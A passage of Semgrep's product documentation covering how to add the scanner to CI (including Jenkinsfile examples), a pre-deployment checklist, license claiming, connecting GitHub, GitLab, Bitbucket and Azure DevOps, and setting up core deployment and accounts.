ii. Add `pipx install semgrep` (or `uv tool install semgrep` if you use [`uv`](https://docs.astral.sh/uv/)) into your configuration file as a step or command, depending on your CI provider's syntax. See the [Python Packaging guide](https://packaging.python.org/en/latest/guides/installing-stand-alone-command-line-tools/) for more on installing standalone Python CLI tools.
Add `semgrep ci` as a step or command.
Set the `SEMGREP_APP_TOKEN` environment variable within your configuration file.
The following example is a Jenkinsfile that adds Semgrep through the Docker image:
```java expandable theme={null}
pipeline {
agent any
environment {
// The following variable is required for a Semgrep AppSec Platform-connected scan:
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
// Uncomment the following line to scan changed
// files in PRs or MRs (diff-aware scanning):
// SEMGREP_BASELINE_REF = "main"
// Troubleshooting:
// Uncomment the following lines if Semgrep AppSec Platform > Findings Page does not create links
// to the code that generated a finding or if you are not receiving PR or MR comments.
// SEMGREP_JOB_URL = "${BUILD_URL}"
// SEMGREP_COMMIT = "${GIT_COMMIT}"
// SEMGREP_BRANCH = "${GIT_BRANCH}"
// SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*).git$/, '$1')
// SEMGREP_REPO_URL = env.GIT_URL.replaceFirst(/^(.*).git$/,'$1')
// SEMGREP_PR_ID = "${env.CHANGE_ID}"
}
stages {
stage('Semgrep-Scan') {
steps {
sh '''docker pull semgrep/semgrep && \
docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_REPO_URL=$SEMGREP_REPO_URL \
-e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
-e SEMGREP_BRANCH=$SEMGREP_BRANCH \
-e SEMGREP_COMMIT=$SEMGREP_COMMIT \
-e SEMGREP_PR_ID=$SEMGREP_PR_ID \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci '''
}
}
}
}
```
The next example is a Jenkins configuration file that installs Semgrep:
```java expandable theme={null}
pipeline {
agent any
environment {
// You need to set the token as an environment variable
// (see Create a `SEMGREP_APP_TOKEN` section).
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
}
stages {
stage('Semgrep-Scan') {
steps {
// Install and run Semgrep:
sh 'pipx install semgrep'
sh 'semgrep ci'
}
}
}
}
```
### Run the job
Depending on your CI provider and configuration, the job runs automatically. Otherwise, trigger the job by committing code or opening a PR or MR.
### Verify the connection
To verify that your Semgrep CI job is connected to Semgrep AppSec Platform:
Go to your Semgrep AppSec Platform [Projects page](https://semgrep.dev/orgs/-/projects).
Verify that your repository is listed on the Projects page and that Semgrep AppSec Platform is running a scan.
### Troubleshoot your CI job
Semgrep attempts to automatically detect certain CI values, such as your repository's name and URL. These values are used to provide context to findings in Semgrep AppSec Platform and hyperlinks to the code that generated the finding.
Refer to the following table for common issues and the corresponding environment variables you can set to fix them:
| Issue | Environment variable to set | Affected CI providers |
| :-------------------------------------------------------------------------------------------------------------------------------- | :-------------------------- | :------------------------------------------------------------------------------------------------------------------------------------- |
| Can't establish a connection to Semgrep AppSec Platform. | `SEMGREP_APP_TOKEN` | Must be set for all CI providers. |
| Semgrep doesn't scan your PRs or MRs. | `SEMGREP_BASELINE_REF` | Required for CI providers **except** GitHub Actions or GitLab CI/CD. |
| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_REPO_NAME` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_REPO_URL` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_BRANCH` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_JOB_URL` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_COMMIT` | Set these environment variables as needed to troubleshoot broken links for any CI provider **except** GitHub Actions and GitLab CI/CD. |
| Can't click hyperlinks to your repository from Semgrep AppSec Platform, nor can Semgrep AppSec Platform create PR or MR comments. | `SEMGREP_PR_ID` | Required to enable hyperlinks for **Azure Pipelines**. |
## Data collected by Semgrep AppSec Platform
When running in CI, Semgrep runs fully in the CI build environment. Unless you have explicitly granted code access to Semgrep, your code is not sent anywhere.
* Semgrep AppSec Platform collects [findings](/semgrep-ci/findings-ci), which includes the line number of the code match, but not the code. It is hashed using a one-way hashing function.
* Findings data is used to generate line-specific hyperlinks to your source code management system and support other Semgrep functions.
## Next steps
You've set up Semgrep to scan in your repository and send findings after each scan. Your core deployment is almost complete.
Remaining steps include:
* Optional: [ Customize your CI job](/deployment/customize-ci-jobs).
* For software composition analysis (SCA) scans using **Jenkins or Maven**: [ Set up SCA scans for your infrastructure.](/semgrep-supply-chain/setup-infrastructure)
* Set up diff-aware scanning for feature branches (non-trunk branches) when a pull request or merge request is open. This is a prerequisite to receiving PR or MR comments. See Set up diff-aware scans.
* Set up **PR or MR comments**, which post findings to developers in your SCM. This involves developers in the security process as active participants. See [ PR or MR comments](/category/pr-or-mr-comments) for next steps.
# Customize a core deployment
Source: https://docs.semgrep.dev/deployment/beyond-core-deployment
Now that you've finished your Semgrep core deployment, you can either customize Semgrep's scan behavior or continue to enable additional deployment features. The following sections list common tasks after you've finished your core deployment.
## Customize Semgrep scans or triage workflow
| Concern | Guide |
| :------------------------------------------------------------------------------------------ | :----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Semgrep scans irrelevant files. | [Ignore files, folders, or code](/ignoring-files-folders-code). |
| Semgrep Code is too noisy. | Enable [cross-file (interfile) analysis](/semgrep-code/semgrep-pro-engine-intro) or remove rules and rulesets through the [Policies page](/semgrep-code/policies). |
| I want my developers to see certain security issues in their pull request or merge request. | Configure [Comment mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes) in the Policies page. |
| I want to prevent developers from using dependencies with certain licenses. | Set up [license compliance](/semgrep-supply-chain/license-compliance). |
| I want to receive AI assistance when I triage findings. | Enable [Semgrep Multimodal](/semgrep-multimodal/overview). |
| I want multi-step, AI-enabled detection beyond rule-based scanning. | Run [Semgrep Agentic Workflows](/workflows/get-started) (beta). |
| I want to enforce my organization's coding standards. | Write a [custom rule](/writing-rules/overview) and add it to your Policies page. |
## Enable additional deployment features
| Concern | Guide |
| :-------------------------------------------------------------------------------------------------------- | :------------------------------------------------------------------- |
| I want to receive notifications in my environment. | Set up [notifications](/semgrep-appsec-platform/notifications). |
| I want my developers to use Semgrep on their IDE. | Install and set up available [IDE extensions](/extensions/overview). |
| I'm scanning too many projects (repositories onboarded to Semgrep) and want to group them somehow. | [Tag your projects](/semgrep-appsec-platform/tags). |
| I'd like to manage access to the resources that developers can view or change in Semgrep AppSec Platform. | Configure [roles and users](/deployment/teams/overview). |
## Stay up-to-date on new Semgrep features
Subscribe to the:
# Pre-deployment checklist
Source: https://docs.semgrep.dev/deployment/checklist
Confirm your deployment scope, access, and setup requirements before deploying Semgrep.
Before you deploy Semgrep, use this checklist to confirm that your organization is ready to begin setup.
You should know which repositories you want to scan, which users and teams need access, which Semgrep features you plan to enable, and who owns the systems required for deployment.
Ensure that your infrastructure meets all [Prerequisites](/prerequisites) before deploying Semgrep.
## Confirm deployment scope
Decide how broadly your organization will deploy Semgrep. The more users and repositories you onboard, the more important training becomes for security champions and other users who help [manage findings](/for-developers/resolve-findings-through-comments).
Confirm the following:
* Which users and departments will use Semgrep.
* Which [repositories](/deployment/manage-projects) Semgrep will scan. For monorepos, also plan for [scan duration](/deployment/customize-ci-jobs#scan-monorepos).
* How frequently scans will run, and at what time if you use [scheduled scans](/deployment/customize-ci-jobs#set-a-scan-schedule). Scan timing can affect other processes, such as PR approvals.
* Whether scans will run on a [schedule](/deployment/customize-ci-jobs#set-a-scan-schedule), in [CI](/deployment/add-semgrep-to-ci), through [Managed Scans](/deployment/managed-scanning/overview), or a combination of these methods.
* The expected timeframe for deployment. Whether the deployment will happen all at once or in [phases](/deployment/core-deployment#deploy-semgrep-in-phases).
**Deployment timelines** vary based on organization size, how many repositories you onboard, and whether you roll out in phases.
## Identify stakeholders
For medium-to-large teams, typically with more than 10 developers, coordinating with other departments before starting the deployment is crucial to an efficient roll-out. A complete deployment helps ensure that your licenses are fully used.
Identify the teams that need to participate in the deployment. Depending on your organization, this can include:
| Team | Common responsibilities |
| :------------- | :------------------------------------------------------------------------- |
| Infrastructure | SSO, CI/CD, and source code manager (SCM) configuration. |
| Engineering | Repository ownership, displaying findings to developers in PRs or MRs. |
| IT | Firewall, virtual private network (VPN), and network access configuration. |
## Assign Semgrep roles
Decide which users need access to Semgrep AppSec Platform.
Semgrep provides three primary roles: **Admin**, **Member**, and **Readonly**. Organizations using Teams can also assign the **Manager** role for project-level access control. See [Manage user roles](/deployment/teams/overview#roles-and-access) for more information.
For single-user deployments, you are the sole **Admin** of your deployment.
For multi-user deployments, identify:
* Which users will administer the deployment.
* Which users need member access.
* Which sign-in method members will use, such as SSO, GitHub Cloud, or GitLab Cloud.
## Review permissions and access
Confirm that your organization has the access needed for the features you plan to enable.
Feature
Permission required
Run Semgrep continuously in your CI workflows
Add or change CI jobs, including committing configuration files for each repository.
Define environment variables and store secrets.
Run Semgrep continuously without changing your CI workflows
Grant read access to user-selected repositories.
Manage user authentication with SSO
View and edit SSO configurations.
Receive Slack notifications
Be a Slack workspace owner, or coordinate with the team responsible.
Send PRs or MRs to your SCM
Edit firewall or VPN allowlists for self-hosted repositories.
For SCM roles, token scopes, and setup steps by provider, see [SCM permissions](/deployment/prepare/scm-permissions).
## Review network requirements
If your organization uses a firewall, VPN, self-hosted SCM, or other network restrictions, confirm that Semgrep can connect to the systems it needs.
You might need to configure:
* Ingress allowlists.
* Egress allowlists.
* CloudFront egress IP addresses.
* Semgrep Network Broker.
* Access for PR or MR comments, Managed Scans, and Semgrep Multimodal.
For more information, see [Network access and allowlists](/deployment/prepare/network-access).
## Confirm version and session requirements
Confirm that your Semgrep CLI version is supported before deployment.
Many improvements to the Semgrep AppSec Platform experience only work with up-to-date Semgrep CLI versions. Semgrep AppSec Platform supports the 10 most recent minor versions of Semgrep CLI. For example, if the latest release is 1.60.0, all versions greater than 1.50.0 are supported, while earlier versions, such as 1.49.0, can result in failures.
To update Semgrep, see [Update Semgrep](/update). Docker users should use the [latest tag](https://hub.docker.com/r/semgrep/semgrep/tags?page=1\&name=latest) to stay up to date.
### Review session requirements
Semgrep AppSec Platform session details:
* The time before you need to reauthenticate is 7 days.
* Session tokens are valid for 7 days.
* This session timeout is not configurable.
* Semgrep AppSec Platform does not use cookies; it uses `localStorage` to store access tokens. Data in `localStorage` expires every 7 days.
## Next steps
After you complete this checklist, continue with the setup guide for your deployment method.
Common next steps include:
* [Connect your SCM](/deployment/connect-scm)
* [Configure SSO](/deployment/sso)
* [Set up Semgrep in CI](/deployment/add-semgrep-to-ci)
* [Enable PR or MR comments](/category/pr-or-mr-comments)
* [Configure notifications](/semgrep-appsec-platform/notifications)
* [Add users and assign roles](/deployment/teams/overview)
See [How to introduce Semgrep to your organization](https://blog.trailofbits.com/2024/01/12/how-to-introduce-semgrep-to-your-organization/) from Trail of Bits for tips on how to evaluate and deploy Semgrep for your org.
# Claim a license
Source: https://docs.semgrep.dev/deployment/claim-a-license
Once you've purchased a subscription, you should receive an email from Semgrep with your license information. Follow the instructions provided in the email to claim your license and begin onboarding your Semgrep products.
## For license key holders or manual license claims
**CAUTION**
For **single-tenant** users, reach out to the [Semgrep Support Team](/support) directly. Please do not attempt to claim a license manually.
If you have been provided a license key by Semgrep or if you would like to claim a license manually:
Sign up or log in to your Semgrep account.
[Create an org](/deployment/create-account-and-orgs/#initial-sign-in-to-semgrep-appsec-platform) if you haven't already done so.
Navigate to `http://semgrep.dev/orgs/-/settings/upgrade/YOUR_LICENSE_KEY`, making sure that you **replace** the `YOUR_LICENSE_KEY` placeholder with your license key value.
# Connect a source code manager
Source: https://docs.semgrep.dev/deployment/connect-scm
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
* You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
Linking a source code manager provides the following benefits:
* Allows the Semgrep org membership to be managed by GitHub or GitLab.
* For GitHub users:
* Provides Semgrep access to post PR or MR comments.
* For GitHub Actions users: Enables you to add a Semgrep CI job to repositories in bulk.
* Allows you to scan and manage your Azure DevOps and Bitbucket projects in Semgrep AppSec Platform.
* Allows the Semgrep platform to generate hyperlinks to code in findings.
If your organization uses both GitHub and GitLab to manage source code, log in with the source code manager that you would prefer to use to manage Semgrep org membership. You can still scan repositories from other sources, including Azure DevOps and Bitbucket, though you will need to use a separate SSO provider to manage the authentication of your users in such cases.
The process to connect a source code manager depends on whether your SCM tool is cloud-hosted by the service provider, hosted on-premise, or hosted as a single tenant by the service provider.
## Connect to cloud-hosted orgs
If you opted to scan a GitHub or GitLab repository when you initially signed in, you may have already performed these steps and can skip to [Next steps](#next-steps).
### Azure DevOps Cloud
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
Go to **Settings > Source code managers > Add > Azure DevOps**.
In the **Connect your Azure DevOps Project** dialog box, provide:
* The **Name of your Azure DevOps Organization**.
* The **Name of your Azure DevOps Project**. The name of your Azure DevOps organization and project can be seen in the project URL, for example `https://dev.azure.com/organization/project`.
* Your **Access token**. See [User personal access tokens](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate) for information on generating a token.
Click **Connect** to save and proceed.
The Azure DevOps project is now listed under **Source code managers**. Click **Test** to verify that the new connection is installed correctly.
### Bitbucket Cloud
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
Go to **Settings > Source code managers > Add > Bitbucket Cloud**.
In the **Connect your Bitbucket Workspace** dialog box, provide:
* The **Name of your Bitbucket Workspace**
* Your **Access token**. Semgrep requires a [workspace-level access token](https://support.atlassian.com/bitbucket-cloud/create-a-workspace-access-token/), which is only available on **Bitbucket Cloud Premium**.
Click **Connect** to save and proceed.
The Bitbucket project is now listed under **Source code managers**. Click **Test** to verify that the new connection is installed correctly.
### GitHub Cloud with GitHub SSO
These steps are for users that sign in to Semgrep through GitHub.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
From the **Navigation bar**, click **Settings > Source code managers**.
Click **Add > GitHub**.
Review the permissions requested by Semgrep, then click **Continue**.
Click the organization you want to install Semgrep on.
Choose to authorize and install Semgrep for **All repositories** or **Only select repositories**.
Click **Install and authorize**.
After a successful link, you are signed out of Semgrep AppSec Platform automatically, as your credentials have changed after linking an organization.
Sign back in to Semgrep AppSec Platform.
If you'd like to connect multiple GitHub orgs, use the instructions for [GitHub Cloud with non-GitHub SSO](#github-cloud-with-non-github-sso).
### GitHub Cloud with non-GitHub SSO
These steps are for users who:
* Sign in to Semgrep through a **non-GitHub** SSO provider
* Have connected to a GitHub org already, but want to add additional GitHub connections
You can connect to GitHub using Semgrep's GitHub app and one of the following: a personal access token or your individual GitHub account.
Navigate to the following link: [Semgrep GitHub app](https://github.com/marketplace/semgrep-dev) and install the Semgrep GitHub app onto the GitHub org you want to connect to.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) using your non-GitHub SSO provider.
From the **Navigation bar**, go to **Settings > Source code managers**.
Click **Add > GitHub**.
In the **Connect your GitHub Organization** modal, enter the name of your GitHub organization. Then, either:
* Enter a GitHub personal access token and click **Connect**.
* Click the **Authenticate with GitHub** button without providing a token.
Your GitHub organization is now listed under **Source Code managers**. Click **Test** to verify that the new connection is installed correctly.
Alternatively, you can set up the [Semgrep GitHub app](https://github.com/marketplace/semgrep-dev). Then, [contact Support](/support#contact-support) and inform them which Semgrep account needs to be connected to the GitHub org. Support can help you finalize the connection.
### GitHub Enterprise Cloud with data residency
If your GitHub Enterprise instance contains many orgs, you must **choose an org** among your accounts that acts as the **owner** of the Semgrep App. As the owner, this org controls the settings and permissions granted to the app. Throughout the setup process, ensure that you select this org consistently when prompted.
Perform the following steps to set up the connection:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
From the **Navigation bar**, click **Settings > Source code managers**.
Click **Add > GitHub Enterprise**.
In the **Connect your GitHub Organization** dialog that appears, provide:
* The **Name of your GitHub Organization**
* The **URL** used to access the GitHub instance
Add the Semgrep GitHub App:
i. Under **Enter GitHub information**, indicate that you want to install the app on your **Organization**, and select the **Organization name** where the app is installed. If you have multiple GitHub organizations that you'd like to use with Semgrep, ensure that you select the **Use for multiple GitHub orgs** box.
ii. Under **Select features to enable**, indicate whether you would like to grant code access to Semgrep.
iii. Review the permissions requested by Semgrep.
iv. Click **Register a Semgrep GitHub App**. Semgrep asks if you'd like to be redirected to GitHub to continue creating the app. Click **Continue** to proceed.
v. You are taken to your GHE instance and asked to name your app. You can choose whatever name you'd like, but Semgrep recommends that you name it something that indicates that this is the Semgrep GHE app.
vi. After you name your app, choose the GHE org you want to install it on.
vii. Select the org, then click **Install**.
viii. Wait for the installation to complete. When done, you are redirected to Semgrep.
ix. Verify the installation by navigating to **Settings** > **Source code managers**. Ensure that the entry for your GitHub organization shows a **Connected** badge.
x. In GHE, you should see the app listed as installed on the **GitHub Apps** page.
* You can click **Configure** to choose the repositories to which the app has access. Additionally, you can go to **App settings** to customize the permissions granted to the app.
If you have additional GHE orgs you'd like to add, you can do so by repeating the previous steps 1-6.
At this point, you've successfully installed the GHE Semgrep App on the owner GHE org. In the future, other members of your GHE instance can install the app on their GHE orgs using the public link if they have the proper permissions. You can get the public link from GHE by going to **GitHub Apps** > **App settings**.
#### Install the app for subsequent GitHub orgs
You can install the Semgrep app onto additional GitHub orgs at any time. To do so:
Go to the public link for the app. Click **Install**.
Choose the GitHub org to which you want the app installed, and click **Install**.
In the popup confirmation message, click **Install**.
The GitHub org should now be listed under **Source code managers**.
You have successfully connected Semgrep to your GitHub organization.
### GitLab Cloud
Create a PAT by following the steps outlined in this [guide to creating a PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html). Ensure that the PAT is created with the required `api` scope.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
Click **Settings > Source Code Managers > Add > GitLab Cloud**
Enter the personal access token generated into the **Access token** field.
Enter your GitLab group's name into the **Name of your GitLab Group** field. If your repositories are organized in subgroups, you only need to provide the name of the top-level group.
Optional, but recommended: if you have multiple GitLab groups in your GitLab account, create a source code manager per group. Repeat steps 1, 3-4 for each GitLab group.
The GitLab groups are now listed under **Source code managers**. Click **Test** to verify that the new connection is configured correctly.
You have successfully connected an org in Semgrep AppSec Platform with an organization in your source code management tool.
## Connect to on-premise orgs and projects
### Bitbucket Data Center
[Create an HTTP access token with **Project admin** permissions](/deployment/managed-scanning/bitbucket#bitbucket-data-center).
Copy the token for use in the next steps.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
Go to **Settings** > **Source code managers**, and click **Add > Bitbucket Data Center**.
In the **Connect your Bitbucket project (key)** dialog box, provide:
* The **Name of your Bitbucket project (key)**. This must be the project key, which you can find by navigating to `/projects`.
* The **URL** to access your installation of Bitbucket Data Center; this is your fully qualified domain name.
* [The **Access Token** that grants Semgrep permission to communicate with your project](/deployment/managed-scanning/bitbucket#bitbucket-data-center).
Click **Connect** to save and proceed.
The Bitbucket project is now listed under **Source code managers**. Click **Test** to verify that the new connection was installed correctly.
To enable merge request comments, click **Incoming webhooks**.
Optional: Click **Auto scan** to onboard all current and future repositories under your project to Semgrep Managed Scans.
### GitHub Enterprise
This section is applicable to users on a **GitHub Enterprise Server** plan.
The **Semgrep App for GitHub Enterprise (GHE)** creates a connection between Semgrep
and orgs in your GHE deployment. There are two primary installation steps:
Install the Semgrep App for the first time using the GHE organization (org) that "owns" the app.
Install the app for additional GHE orgs.
#### Initial Semgrep App installation
If your deployment contains many orgs, you must **choose an org** among your accounts that acts as the **owner** of the Semgrep App. As the owner, this org controls the settings and permissions granted to the app.
Ensure that you have selected the intended owner by viewing the account name in the navigation bar:
Choose another account by clicking the **account name** and selecting an account from the drop-down box. Then, perform the following steps to set up the connection:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login/).
Click **Settings** > **Source code managers > Add > GitHub Enterprise**.
In the **Connect your GitHub Organization** dialog box, provide:
* The **Name of your GitHub Organization**
* The **URL** to access your deployment
Click **Connect** to save your changes.
In the **Add GitHub App** page that you're redirected to, ensure that:
* You've selected **Organization**.
* The **GitHub Organization name** is populated; if not, enter the name of your org.
* You've selected the **Use for multiple GitHub orgs (Enterprise-public app)** checkbox.
Select the features you'd like enabled. Enabling PR comments, Multimodal recommendations, and Semgrep Managed Scans requires you to grant Semgrep Code Access, while enabling only PR comments does not.
Review the permissions for the app; as the app owner, note that you can change these permissions later.
Click **Register GitHub App** to proceed.
You are taken to your GHE instance and asked to name your app. You can choose whatever name you'd like, but Semgrep recommends that you name it something that indicates that this is the Semgrep GHE app.
After you name your app, choose the GHE org to which you want it installed.
Select the org that you want to act as the owner of the app, and click **Install**.
Wait for the installation to complete. When done, you will be redirected to Semgrep.
Verify the installation by navigating to **Settings** > **Source code managers**. Ensure that the entry for your SCM shows a **Connected** badge.
In GHE, you should see the app listed as installed on the **GitHub Apps** page.
You can click **Configure** to choose the repositories to which the app has access. Additionally, you can go to **App settings** to customize the permissions granted to the app.
If you have additional GHE orgs you'd like to add, you can do so by repeating steps 2-15.
At this point, you've successfully installed the GHE Semgrep App on the owner GHE org. In the future, other members of your GHE instance can install the app on their GHE orgs using the public link if they have the proper permissions. You can get the public link from GHE by going to **GitHub Apps** > **App settings**.
#### Install the app for subsequent GHE orgs
You can install the Semgrep app onto additional GHE orgs at any time. To do so:
Go to the public link for the app shared with you by your admin. Click **Install**.
Choose the GHE org to which you want the app installed, and click **Install**.
In the popup confirmation message, click **Install**.
The GHE org should now be listed under **Source code managers**.
You have successfully connected Semgrep to your GitHub Enterprise Server.
### GitLab Self-Managed
This section is applicable to users with subscriptions to any **GitLab self-managed plan**.
Connect Semgrep and GitLab Self-Managed accounts by creating a PAT and providing it to Semgrep using Semgrep AppSec Platform:
Create a PAT by following the steps outlined in this [guide to creating a PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html). Ensure that the PAT is created with the required `api` scope.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Optional: If you have created more than one Semgrep account, select the account you want to make a connection for by clicking on the **Navigation bar > Your account name > The account you want to connect**.
Click **Settings > Source code managers > Add > GitLab Self-Managed** and enter the personal access token generated into the **Access token** field.
Enter your GLSM base URL into the **URL** field.
Enter your GitLab group's name into the **Name of your GitLab Group** field. If your repositories are organized in subgroups, you only need to provide the name of the top-level group.
If you have multiple GitLab groups in your GitLab account, you need to create a source code manager per group. Repeat steps 1, 3-5 for each GitLab group.
The GitLab groups are now listed under **Source Code managers**. Click **Test** to verify that the new connection is installed correctly.
## Next steps
* Optional: See [ SSO authentication](/deployment/sso) to set up user management through SSO.
* You are ready to scan your org's repositories with Semgrep.
# Core deployment
Source: https://docs.semgrep.dev/deployment/core-deployment
Semgrep can be set up to scan repositories of any size.
Once added to Semgrep, a codebase, repository, or subfolder within a monorepo is referred to as a **project**.
**Deployment** refers to the process of integrating Semgrep into your developer and infrastructure workflows. Completing the deployment process provides you with the Semgrep features that meet your security program's needs.
Deployment includes:
* Running Semgrep scanners as part of your CI. These scans can be any combination of SAST (Static Application Security Testing), SCA (Software Composition Analysis), or Secrets, depending on your plan.
* Managing team members' access and authentication.
* Ensuring that Semgrep has sufficient access to your self-hosted source code manager (SCM), such as GitLab Self-Managed.
Semgrep does not require code access to complete the core deployment process. Your code is not sent anywhere.
**ARE THESE GUIDES FOR YOU?**
* These guides outline procedures for the deployment of Semgrep as part of a security program. To try out Semgrep, refer to the [ Quickstart](/getting-started/quickstart) document.
* Individual users can also use these guides to deploy Semgrep as part of their personal security.
Many deployment features are set up through **Semgrep AppSec Platform**.
Deployment does **not** include:
* Customizing your SAST, SCA, or secrets scans
* Custom rule writing
* Triage
For these features, refer to the **Scan and Triage** section in the navigation bar.
### All Semgrep deployment features
Semgrep supports many different technology stacks. Refer to the following table to evaluate which deployment features of Semgrep you can use based on your technologies.
#### Core deployment
These are the absolute minimum Semgrep features for any deployment.
| Deployment feature | Notes |
| :--------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SAST scanning | Check that Semgrep:
Can scan your language and that the language's maturity matches your security needs. See Supported languages.
Provides rulesets that you can use out-of-the-box. See Semgrep Registry.
|
| SCA scanning | Check that Semgrep either supports your manifest file or lockfile and package manager. |
| Secrets scanning | Check that your services, such as Slack or Twilio, can be validated by Semgrep. Semgrep Secrets is available through Semgrep Sales, so you must Book a demo. |
| SSO | Semgrep supports:
OpenID Connect or OAuth 2
SAML 2.0
|
| Organizations | Semgrep can connect to orgs from GitHub and GitLab. Connecting an org enables Semgrep AppSec Platform to authenticate new users from the same org easily.
If you use Bitbucket or Azure Repos, you can use SSO to manage the authentication of your users, then add repositories for scanning through your CI provider. |
| Scanning remote repositories through CI | Semgrep fully supports many popular CI providers. See Add Semgrep to CI. |
| Managed Scans: scanning remote repositories in bulk without CI changes | An alternative method of scanning many repositories with Semgrep that doesn't require integration with your CI. Requires read access to user-selected repositories. See Add repositories to Semgrep in bulk. |
| PR or MR comments | Semgrep can post PR or MR comments in the following SCMs:
GitHub
GitLab
Bitbucket
|
#### Additional deployment features
Useful features that you can add based on your tech stack. You can integrate these features further into your security workflows after some initial testing of your core deployment.
| Deployment feature | Notes |
| :--------------------------------- | :----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Notifications | Semgrep can send notifications through the following channels:
Slack
Email
Webhooks
|
| AI-assisted triage and remediation | Semgrep can give AI-assisted recommendations on whether a finding is a true or false positive as well as suggest code fixes for true positive findings. |
| IDE integration | Encourage developers to run Semgrep in their IDE. Officially supported extensions include:
Microsoft Visual Studio Code
IntelliJ Ultimate IDEA
Emacs
|
| API | Check that Semgrep's API meets your needs. See API docs. |
## Core deployment process
At the minimum, your deployment of Semgrep consists of the following steps:
Each user of Semgrep has one account.
Each Semgrep account can have many orgs. Orgs are logical groupings of related projects and users.
* For GitHub or GitLab users, you can connect your Semgrep org to the orgs in your source code manager (SCM). This means that any member of an org in your SCM can sign in to your Semgrep deployment.
* You can also use SSO to manage user authentication.
This step ensures that your Semgrep deployment is up and running and that you receive **findings** of security issues in Semgrep AppSec Platform.
To manage a large volume of users and projects, you may need to perform additional steps:
* Role management
* Tagging projects
These steps are covered in the section [Deployment at scale](/category/deployment-at-scale).
Team size isn't necessarily indicative of deployment needs. Features for large teams can be deployed for smaller teams as well, and are available on the Semgrep Team Tier.
## Deploy Semgrep in phases
It is recommended to finish the core deployment of Semgrep to a few repositories or departments in your organization first before attempting to deploy to the majority.
This **initial phase** prepares you to deploy Semgrep to the rest of the organization. Organizational infrastructure can vary greatly and the initial deployment can help you identify and address issues so that they do not recur in a wider deployment.
## Next steps
Click **Next** to begin setting up your core deployment.
# Create a Semgrep account and set up organizations
Source: https://docs.semgrep.dev/deployment/create-account-and-orgs
**YOUR DEPLOYMENT JOURNEY**
* You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
Create a Semgrep account by signing in to Semgrep AppSec Platform with your GitHub or GitLab account. This enables you to:
* Add the rest of your GitHub or GitLab organization (org) members to Semgrep.
* Configure Semgrep to scan repositories in other source code managers, such as Bitbucket.
**USING SSO FOR YOUR INITIAL SIGN-IN**
Alternatively, reach out to [ sales@semgrep.com](mailto:sales@semgrep.com) to set up SSO. This removes the need to sign in through a GitHub or GitLab account if you do not have one.
## Semgrep AppSec Platform
Semgrep AppSec Platform is used to manage all Semgrep products, and it is where you can:
* View and manage your Semgrep findings.
* Customize how Semgrep scans your code.
* Manage the users associated with your Semgrep organization.
* Set up alerts and notifications, including Slack alerts, emails, and pull request or merge request comments pushed to your source code manager
## Initial sign in to Semgrep AppSec Platform
The following steps walk you through creating a **user account** and your first **organization**:
To sign in using your GitHub account:
Navigate to the [ Semgrep AppSec Platform login page](https://semgrep.dev/login/) and click **Sign in with GitHub**.
Click **Authorize semgrep-app** to [grant Semgrep the needed permissions](/deployment/prepare/scm-permissions#github-app-permissions) and proceed.
Enter an **organization name** when prompted then click **Create new organization**. This organization name is typically the name of the org in GitHub that you want to connect Semgrep to. For individual users, this can also be a personal account.
Either select a **scan environment** or click **Don't want to connect to anything yet?**
If you selected a **scan environment**:
i. Follow the prompts to set up the scan.
